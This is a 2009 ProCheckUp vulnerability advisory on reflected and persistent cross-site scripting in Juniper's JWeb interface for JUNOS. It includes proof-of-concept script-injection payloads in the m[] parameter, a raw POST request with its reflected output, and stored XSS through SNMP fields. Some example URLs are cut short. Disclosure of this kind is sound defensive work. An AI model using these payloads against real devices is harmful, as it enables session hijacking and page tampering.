New Banner 2


Find out more about ProCheckUp's services including: Penetration Testing, PCI QSA and PCI ASV

PR09-10 - Juniper JunOS JWeb authenticated XSS

Vulnerability found:
25 June 2009
Vendor informed:
31 July 2009
Severity level:
Richard Brain of ProCheckUp Ltd (
There is a Cross-site Scripting vulnerability on Junipers, JUNOS web interface. JwWeb provides a webinterface which allows JUNOS to be controlled by a webinterface.
ProCheckUp has found by making a malformed authenticated request to the JWeb interface, that vanilla cross site scripting (XSS) attacks are possible.


An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link or visits a malicious webpage. The malicious code would run in the security context of the vulnerable website.

Successfully tested on

Juniper Networks Juniper Web Management (JWeb) Version: 8.5R1.14

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: passwords or session IDs) to unauthorised third parties.
Proof of concept:

6) the m[] parameter is vulnerable to XSS across multiple programs, the m[] parameter is used by JWeb to select a program to run.[]='><script>alert(1)</script>[]='><script>alert(1)</script>[]='><script>alert(1)</script>[]='><script>alert(1)</script>[]='><script>alert(1)</script>[]='><script>alert(1)</script>[]="><script>alert(1)</SCRIPT>&path=/var/crash&

7) The configuration program is vulnerable to a POST XSS attack

POST /configuration?m[]=wizards&m[]=https HTTP/1.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=faf6133c44481c24b61a04f4c0ef57be;
Content-Type: application/x-www-form-urlencoded
Content-Length: 782

RESULTS (part of):-
current wizard: firewall-acl
current page : b7777"><script>alert(1)</script>095b2419adf
current page number: 0
</form> </td>

8) SNMP parameters are vulnerable to a persistent XSS attack, which allows permanent alteration to page code when viewd.
SNMP parmaters can be viewed and entered on this page,[]=wizards&m[]=snmp&start=true
The "Contact Information","System Description","Local Engine ID","System Location","System Name Override"

The following URLS when accessed cause the XSS attacks to be executed[]=wizards&m[]=snmp&start=true[]=viewedit&m[]=viewtext

Note: the previous examples were tested on IE7 and FF2.
ProCheckUp Vulnerabilities
Copyright 2009 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.
Back to Vulnerabilities List